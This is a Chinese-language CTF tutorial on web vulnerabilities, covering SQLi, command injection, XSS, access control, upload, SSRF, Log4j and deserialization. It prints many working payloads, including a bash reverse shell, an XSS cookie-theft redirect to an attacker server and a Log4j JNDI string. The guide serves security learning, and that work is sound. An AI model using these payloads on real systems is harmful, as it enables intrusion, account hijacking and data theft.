web类型漏洞Web 类型漏洞是指在 Web 应用程序的设计、开发或配置过程中产生的安全缺陷攻击者可以利用这些缺陷执行未授权的操作例如窃取数据、控制服务器或破坏服务。以下是一些最常见和最具危害性的 Web 漏洞类型 注入 (Injection)这类漏洞允许攻击者通过输入恶意指令来欺骗解释器从而执行非预期的命令或访问数据。SQL 注入 (SQLi):攻击者将恶意的 SQL 代码插入到 Web 表单或 URL 参数中欺骗服务器执行恶意 SQL 命令。这可能导致数据库信息泄露、数据被篡改甚至整个数据库被删除。命令注入 (Command Injection):攻击者利用应用程序的缺陷在服务器操作系统上执行任意系统命令。这是一种高风险漏洞可能导致服务器被完全控制。 跨站脚本 (XSS)XSS 攻击允许攻击者将恶意脚本通常是 JavaScript注入到受害者浏览的网页中。当其他用户访问该页面时恶意脚本会在其浏览器上执行。危害攻击者可以窃取用户的会话 Cookie从而劫持用户账户也可以进行钓鱼欺骗或传播恶意代码。类型主要分为存储型恶意脚本保存在服务器上、反射型通过诱骗用户点击恶意链接触发和 DOM 型在客户端脚本处理数据时发生。 访问控制失效 (Broken Access Control)这是 2021 年 OWASP Top 10 榜单中排名第一的漏洞。它指的是应用程序未能正确地限制用户对资源和功能的访问。表现普通用户可以访问管理员页面或者用户可以查看、修改其他用户的敏感数据越权访问。 其他常见漏洞跨站请求伪造 (CSRF):攻击者诱使已登录的用户在不知情的情况下向一个受信任的网站发送恶意请求。例如在用户登录银行网站后访问攻击者的恶意网站后者会自动触发一笔转账操作。文件上传漏洞:攻击者上传一个包含恶意代码的文件如 Webshell到服务器并执行从而获得服务器的控制权。安全配置错误:由于系统、框架或服务器如 Web 服务器、数据库的安全配置不当或使用了默认配置导致攻击者可以轻易获取敏感信息或访问权限。使用含有已知漏洞的组件:应用程序中使用的库、框架或其他软件组件存在已知的安全漏洞攻击者可以利用这些漏洞进行攻击。身份认证失效:与身份验证和会话管理相关的功能实现不当使得攻击者可以破解密码、劫持会话令牌或利用其他漏洞冒充合法用户。敏感信息泄露:应用程序未能妥善保护敏感数据如密码、信用卡号可能通过错误信息、未加密的传输或存储等方式泄露。不安全的反序列化:反序列化过程存在缺陷可能导致远程代码执行、重放攻击或注入攻击。服务器端请求伪造 (SSRF):攻击者诱使服务器向攻击者选择的任意位置发起请求常用于探测内网或攻击内部服务。SQL注入 如何识别题目类型当你看到以下场景或提示时应优先考虑 SQL 注入功能场景登录页面、搜索框、商品详情页URL 中有id参数、用户信息查询。题目提示题目描述提到“登录绕过”、“获取管理员密码”、“数据库查询”。输入特殊字符如后页面报错如SQL syntax error或者页面内容发生异常变化。题目给了数据库类型提示如 MySQL, SQLite, MSSQL。️ 对应做法与解题思路第一步判断注入点与类型测试字符输入或。如果页面报错或异常说明存在注入点。判断类型字符型输入1报错输入1 or 11可能成功。数字型输入1正常输入1 and 11正常输入1 and 12异常。第二步构造 Payload攻击载荷根据题目类型选择不同的攻击手法注入类型典型场景常用 Payload 示例目的登录绕过登录框 or 11 or 11#利用逻辑永真式绕过密码验证。联合查询显示数据的页面1 union select 1, database()#利用UNION操作符将攻击者的查询结果与原查询结果合并显示。报错注入页面显示数据库错误1 and extractvalue(1, concat(0x7e, (select version()), 0x7e))#利用数据库报错机制将数据通过错误信息回显出来。盲注页面只有“对/错”或无变化1 and if(length(database())5, sleep(5), 0)#通过页面响应时间时间盲注或内容差异布尔盲注逐位猜解数据。第三步获取 Flag猜解字段数使用order by语句如1 order by 3#直到页面报错确定查询的列数。获取库名/表名利用information_schema库查询当前数据库名和表名。获取列名/数据查询目标表的列名最后通过union select把flag或password查出来。工具辅助如果是复杂的盲注通常使用SQLMap等自动化工具进行跑库。命令注入 如何识别题目类型命令注入通常出现在 Web 应用需要与操作系统交互的场景中功能场景Ping 测试输入 IP 地址网站返回 Ping 的结果。DNS 查询输入域名查询解析记录。文件管理在线解压、文件转换、查看文件属性。题目提示题目描述提到“网络检测”、“系统状态”、“执行命令”。输入框看似只接受 IP 或域名但你可以尝试输入系统命令。️ 对应做法与解题思路第一步探测与验证尝试在输入框中输入 IP 地址加上连接符看是否能执行额外命令。常用连接符|、||、、、;、换行符%0a。测试 Payload127.0.0.1 | whoamiLinux127.0.0.1 type C:\Windows\win.iniWindows如果页面返回了www-data或文件内容说明注入成功。第二步绕过过滤如果存在很多题目会过滤空格或敏感命令如cat,ls需要绕过绕过空格使用${IFS}、、或换行符代替空格。例如cat${IFS}flag.php。命令拼接如果cat被禁可以用more、less、head、tail或base64查看文件。编码绕过如果关键字被过滤可以将命令进行 Base64 编码通过管道传递给bash执行如echo Y2F0IGZsYWcucGhw | base64 -d | bash。第三步获取 Flag直接读取如果知道 Flag 文件名直接用cat flag*或ls查看目录。反弹 Shell如果题目允许外联可以构造 Payload 让服务器主动连接你的监听端口如bash -i /dev/tcp/你的IP/端口 01从而获得一个完整的命令行控制权。工具辅助可以使用Burp Suite的 Intruder 模块或Commix工具进行自动化测试。 总结对比特征SQL 注入 (SQLi)命令注入 (Command Injection)核心目标数据库 (Database)操作系统 (Operating System)常见入口登录框、搜索栏、ID 参数Ping 工具、文件查看器、系统监控关键符号;--#union解题核心构造 SQL 语法闭合查询敏感数据拼接系统命令读取文件或执行指令防御原理使用参数化查询 (PreparedStatement)避免调用系统命令或使用白名单校验通过观察输入框的功能是查数据还是调系统工具以及尝试输入特殊符号后的反应你就能快速区分这两类题目并采取相应的解题策略。XSS漏洞XSS跨站脚本攻击是 Web 安全中最常见且变化多端的漏洞类型。在 CTF 比赛或实际挖掘中XSS 的核心在于“代码注入”与“执行环境”。根据恶意代码的存储位置、触发方式以及执行位置XSS 主要分为三大类反射型、存储型和DOM 型。以下是详细的识别特征与解题/利用思路 反射型 XSS这是最常见的一种类型通常出现在 CTF 的入门题或钓鱼场景中。 如何识别场景特征搜索框、URL 参数如?qxxx、错误提示页面。题目提示你在搜索框输入scriptalert(1)/script页面直接弹出了弹窗。刷新页面后弹窗消失非持久化。题目要求你构造一个链接让管理员点击后获取 Cookie。核心逻辑你输入的数据 - 服务器接收 - 服务器直接“反射”回浏览器 - 浏览器执行。️ 做法与解题思路基础测试在 URL 参数或搜索框输入scriptalert(1)/script。如果没弹窗查看网页源码看你的输入是否被转义如变成了lt;。构造 Payload如果script标签被过滤尝试使用事件句柄img srcx onerroralert(1)。如果空格被过滤使用/或%0a代替空格或者利用标签属性img/srcx onerroralert(1)。进阶利用CTF 常见URL 编码为了绕过简单的 WAF 或浏览器解析差异通常需要对 Payload 进行 URL 编码如变为%3C。钓鱼/窃取 Cookie题目通常要求“让管理员访问你的链接”。你需要编写一段 JS 代码将管理员的 Cookie 发送到你的服务器或题目指定的接收端。Payload 示例html预览1script 2location.hrefhttp://你的服务器地址/collect.php?cookiedocument.cookie; 3/script 存储型 XSS这是危害最大的一种被称为“持久化”攻击。 如何识别场景特征留言板、评论区、个人资料修改昵称/签名、论坛发帖。题目提示你在留言板输入一段 JS 代码提交后只要刷新页面或换个浏览器访问该页面代码都会自动执行。题目描述提到“留言板”、“评论”、“个人信息”。核心逻辑你输入的数据 - 服务器存入数据库 - 受害者访问页面 - 服务器从数据库取出并输出 - 浏览器执行。️ 做法与解题思路寻找输入点找到所有能提交数据的地方评论、昵称、头像文件名等。绕过前端验证有些网站前端 JS 会禁止输入直接按F12删除input标签中的maxlength属性或修改 JS 逻辑强行提交长 Payload。构造 Payload同反射型但要注意闭合环境。如果输入点在textarea标签内你需要先闭合它/textareascriptalert(1)/script。自动化攻击蠕虫在 CTF 高难度题目中可能需要利用存储型 XSS 制作“XSS 蠕虫”。即受害者 A 访问页面 - 执行 JS - JS 自动修改 A 的资料植入 XSS 代码 - 受害者 B 访问 A 的资料 - 中招。 DOM 型 XSS这是一种纯前端的漏洞不经过服务器端的处理因此传统的服务器端 WAF 很难防御。 如何识别场景特征单页应用SPA、根据 URL 锚点#动态显示内容的页面、基于 URL 参数动态渲染的页面。题目提示你查看网页源码发现script标签里没有明显的输出点但页面内容会随着 URL 变化而变化。题目提示“DOM”、“前端逻辑”、“Hash”。输入script标签在 URL 的#后面如url.com/#scriptalert(1)/script页面执行了代码。核心逻辑浏览器请求页面 - 服务器返回固定的 JS 代码 - JS 代码读取 URL 参数/Hash - JS 代码通过innerHTML或document.write写入页面 - 执行。️ 做法与解题思路审计前端代码这是解题关键。按F12查看 Sources 或搜索 JS 文件。寻找危险函数document.write(),innerHTML,eval(),location.hash,location.search。定位“源”与“汇”源 (Source)数据从哪里来通常是location.hashURL 的 # 后面部分或location.search? 后面部分。汇 (Sink)数据去了哪里如果是去了innerHTML通常存在 XSS。构造 Payload如果代码是document.write(location.hash)Payload 就是http://site.com/#scriptalert(1)/script。注意DOM 型 XSS 的 Payload 通常不会发送给服务器因为 # 后面的内容浏览器不发送所以你需要自己在本地构造 URL 测试。 总结对比表表格特性反射型 XSS存储型 XSSDOM 型 XSS持久性非持久一次性持久永久存在数据库通常非持久取决于 URL触发方式诱导用户点击恶意链接用户访问被植入恶意代码的页面用户访问特定的恶意 URL数据流向客户端 - 服务端 - 客户端客户端 - 服务端(数据库) - 客户端客户端 - 客户端 (JS 处理)常见位置搜索框、URL 参数留言板、评论、用户资料URL Hash (#)、前端 JS 逻辑解题重点URL 编码、构造钓鱼链接寻找所有输入点、绕过长度限制审计前端 JS 代码、找 Sink 点️ 通用绕过技巧 (Bypass)在做题时如果直接输入script没反应通常是因为被过滤了。可以尝试以下技巧大小写混合ScRiPtalert(1)/ScRiPt。双写绕过如果过滤器把script替换为空可以用scrscriptiptalert(1)/scrscriptipt。利用其他标签img srcx onerroralert(1)(最常用)svg onloadalert(1)body onloadalert(1)input onfocusalert(1) autofocus编码HTML 实体编码、URL 编码、Base64 编码视具体环境而定。闭合标签如果输入点在input value这里中你需要先闭合scriptalert(1)/script。访问控制失效访问控制失效 (Broken Access Control)是 OWASP Top 10 榜单中常年霸榜前列的漏洞。简单来说它的核心问题不是“你是谁”那是身份认证而是“你能干什么”。如果系统没能正确限制你访问资源或执行操作的权限让你干了不该干的事那就是访问控制失效。在 CTF 比赛或漏洞挖掘中这类题目通常被称为“越权”。以下是详细的识别与解题思路 核心分类与识别访问控制失效主要分为三大类识别它们的关键在于观察“当前用户”与“目标资源/功能”之间的关系。类型别名核心逻辑典型场景水平越权IDOR (不安全的直接对象引用)同级互访。用户 A 访问了属于 用户 B 的数据。查看他人订单、修改他人个人资料、查看他人私信。垂直越权权限提升下级访上。普通用户访问了 管理员/超级用户 的功能。普通用户访问/admin后台、执行“删除用户”操作。上下文/流程越权业务逻辑漏洞跳过步骤。未按规定的业务流程执行操作。购物时跳过支付步骤直接发货、未验证直接重置密码。️ 做法与解题思路1. 水平越权 (IDOR) —— 最常见这是 CTF 中最容易拿分的点。如何识别URL 或参数中包含明显的数字 ID如user_id1001、order_id520。页面显示“我的订单”、“个人信息”。解题做法修改参数抓包使用 Burp Suite将 ID 参数修改为其他数字如1001改为1002或1。遍历测试如果 ID 是连续的可以使用工具如 Burp Intruder遍历 ID看是否能获取到其他用户的数据如 Flag 通常在管理员或其他特定用户的数据中。利用弱校验有些系统只校验 ID 是否存在不校验 ID 是否属于当前登录用户。Payload 示例URL:GET /api/order?id1002(原为 1001)JSON:{user_id: 1, action: view_profile}2. 垂直越权 (权限提升) —— 提权目标是获取管理员权限或访问隐藏的高权限接口。如何识别题目提示“普通账号/弱口令账号”。页面有隐藏的“管理入口”或者你知道常见的后台路径如/admin,/dashboard。功能按钮在界面上被隐藏HTML 注释里可能有线索但接口可能未做权限校验。解题做法URL 探测尝试直接访问管理员路径如/admin,/manage,/system。参数篡改修改 Cookie 或 POST 数据中的角色字段roleuser改为roleadminis_admin0改为is_admin1。修改 HTTP 请求头有些应用通过X-User-Role: admin或X-Original-URL来判断权限。强制浏览 (Force Browsing)如果你知道某个敏感 API 端点如/api/delete_user直接用普通用户身份发送请求看服务器是否拦截。Payload 示例Cookie:roleYWRtaW4(Base64 编码的 admin)Header:X-Custom-IP-Authorize: 127.0.0.1(伪造内网 IP 绕过限制)3. 上下文/流程越权 —— 逻辑漏洞这类题目考察对业务逻辑的理解。如何识别多步骤流程注册 - 验证 - 成功或者 购物车 - 支付 - 订单完成。题目提示“未支付获取商品”或“绕过验证”。解题做法跳过步骤在第一步如输入验证码抓包直接重放请求到第三步如重置密码成功。在支付页面修改 POST 参数price100为price0.01或statuspaid。状态篡改修改请求中的状态码或标志位如step1改为step3。HTTP 方法篡改如果POST /api/update需要权限尝试用GET /api/update或PUT请求看是否能绕过检查。️ 常见绕过技巧 (Bypass Tricks)在做题时如果直接访问被拒绝403 Forbidden可以尝试以下技巧HTTP 请求头伪造X-Forwarded-For: 127.0.0.1(伪装成本地请求)X-Original-URL: /adminX-Rewrite-URL: /admin参数污染id1001id1002(后端可能只取第一个或最后一个)利用 API 特性JSON 参数覆盖{user_id: 1001, user_id: 1}数组参数id[]1001id[]1002路径遍历访问文件时/download?file../../etc/passwd(虽然属于文件读取但也常归类为访问控制不当)。 总结遇到访问控制失效题目核心心法是“不要相信前端不要相信默认逻辑”。看 ID能不能改水平越权看角色能不能改 Admin垂直越权看流程能不能跳步逻辑越权看隐藏接口能不能直接调强制浏览只要服务器端没有对每一个请求进行严格的“主体-动作-对象-上下文”校验你就能找到突破口。其他常见漏洞除了前面提到的注入、XSS 和访问控制失效Web 安全领域还有许多其他高频且危害巨大的漏洞。在 CTF 比赛或实际渗透中这些漏洞往往因为开发者的疏忽或配置不当而出现。以下是其他常见漏洞的识别特征与解题/利用思路 1. 身份认证失效这类漏洞的核心在于“系统没能确认你到底是不是你”或者确认的过程太容易被绕过。 如何识别场景登录页面、找回密码页面、修改密码页面、验证码输入处。提示题目提示“弱口令”、“找回密码”、“验证码绕过”。️ 做法与解题思路弱口令/默认口令做法尝试admin/admin、admin/123456、root/root等常见组合。工具使用 Burp Suite 的 Intruder 模块或 Hydra 进行字典爆破。暴力破解做法如果登录没有验证码或验证码可复用直接对用户名/密码进行爆破。验证码绕过做法抓包重放输入错误的验证码抓包修改参数再次发送看是否校验了验证码的正确性。删除参数删除 POST 请求中的验证码参数如code看能否跳过校验。固定值尝试将验证码改为固定的值如0000或1234看后端是否校验。密码重置漏洞做法在找回密码流程中抓包修改user_id或email参数尝试重置管理员的密码。 2. 文件上传漏洞这是获取服务器权限GetShell的最直接途径之一。 如何识别场景头像上传、附件上传、文件导入功能。提示题目是一个上传界面或者提示“上传你的文件”。️ 做法与解题思路核心目标是上传一个可执行的脚本文件如 .php, .jsp, .asp并被服务器解析执行。前端验证绕过做法前端 JS 只检查文件后缀。直接在本地写一个shell.php或者用 Burp Suite 抓包将文件名从shell.php改为shell.jpg传给前端 JS但在抓包后改回shell.php发送给服务器。MIME 类型绕过做法抓包将Content-Type从application/octet-stream或text/plain改为image/jpeg或image/png。后缀名黑名单绕过做法如果.php被禁尝试.php5,.phtml,.phps,.phar。特殊技巧在 Apache 环境下尝试.htaccess解析漏洞在 IIS 下尝试.asp;.jpg。文件头检查绕过图片马做法如果服务器检查文件头如GIF89a你需要制作“图片马”。命令copy 1.jpg/b shell.php/a shell.php(Windows) 或在文件头部手动添加GIF89a。竞争上传做法如果服务器是先保存再删除或重命名使用 Burp Intruder 高频发送上传请求和访问请求争取在文件被删除前访问到它。 3. 使用含有已知漏洞的组件这通常被称为“供应链攻击”或“组件漏洞”在 CTF 中常表现为特定的框架漏洞。 如何识别场景题目给出了具体的 CMS 名称如 WordPress, Dedecms或框架版本如 Struts2, Shiro, Log4j。提示网页源码注释中泄露了版本号或者 HTTP 响应头中有X-Powered-By: Struts2。️ 做法与解题思路指纹识别做法使用 Wappalyzer 插件或查看网页源码确定使用的框架和版本。查找 EXP做法去 GitHub 或 Exploit-DB 搜索对应的 CVE 编号。常见案例Log4j2 (CVE-2021-44228)在 User-Agent 或任何输入框输入${jndi:ldap://你的服务器地址/Exploit}。Shiro 反序列化使用shiro_rce_tool生成 RememberMe 的 Cookie 进行攻击。Struts2 系列通常涉及 OGNL 表达式注入直接发送特定的 HTTP 请求包。 4. 服务器端请求伪造SSRF 允许攻击者诱使服务器向攻击者选择的任意位置发起请求。 如何识别场景图片加载输入 URL 加载图片、网页截图、文件转换、API 测试工具。提示输入框要求输入一个 URL或者提示“内网探测”。️ 做法与解题思路核心目标是利用服务器作为跳板访问内网资源或读取本地文件。基础探测做法输入http://127.0.0.1:80或http://localhost看页面返回内容是否有变化如返回了内网页面的源码。协议利用File 协议file:///etc/passwd(读取本地文件)。Gopher 协议这是 SSRF 的大杀器可以构造任意 TCP 数据包。例如利用gopher://127.0.0.1:6379/_SET%20mykey%20myvalue来攻击未授权的 Redis。Dict 协议用于探测端口开放情况。端口扫描做法使用 Burp Intruder 遍历127.0.0.1的常见端口22, 80, 3306, 6379, 8080。绕过过滤IP 编码将127.0.0.1转换为十进制2130706433或十六进制。DNS 重绑定使用专门的工具如ip.sh生成一个域名解析时轮流返回内网 IP 和外网 IP以此绕过“禁止内网 IP”的校验。 5. 不安全的反序列化这是高难度漏洞通常导致远程代码执行。 如何识别场景登录后的Cookie值非常长且看起来像乱码Base64 编码或者题目明确提示“Java 反序列化”、“PHP 反序列化”。提示题目给出了源码其中包含unserialize()(PHP) 或readObject()(Java)。️ 做法与解题思路识别格式PHP通常是O:4:User:2:{...}这种格式。Java通常是AC ED 00 05(十六进制头) 或 Base64 后的rO0AB。Pythonpickle模块。寻找 Gadget Chain (利用链)做法你需要找到一段代码它在反序列化过程中会被自动执行如 PHP 的__wakeup或__destruct魔术方法。工具PHP: 使用phpggc工具生成 Payload。Java: 使用ysoserial工具。构造 Payload如果题目给了源码你需要分析类中的方法构造一个对象使得它在被销毁或唤醒时执行system(cat /flag)之类的命令。将构造好的序列化字符串替换掉原来的 Cookie。 总结常见漏洞速查表漏洞类型核心特征关键解题动作常用工具身份认证失效登录框、验证码爆破、改包绕过验证码Burp Suite, Hydra文件上传上传头像、附件改后缀、改 MIME、图片马Burp Suite, 蚁剑/哥斯拉已知组件漏洞特定框架 (Struts/Shiro)搜 CVE、发 EXP 包GitHub, NucleiSSRF输入 URL 加载资源扫内网端口、读 file 协议Gopherus, Burp反序列化长字符串 Cookie分析魔术方法、构造利用链phpggc, ysoserial在实际做题中信息收集是第一步。看清题目给了什么环境PHP/Java/Python、什么框架、有什么功能点然后对应上面的表格去尝试通常就能找到突破口。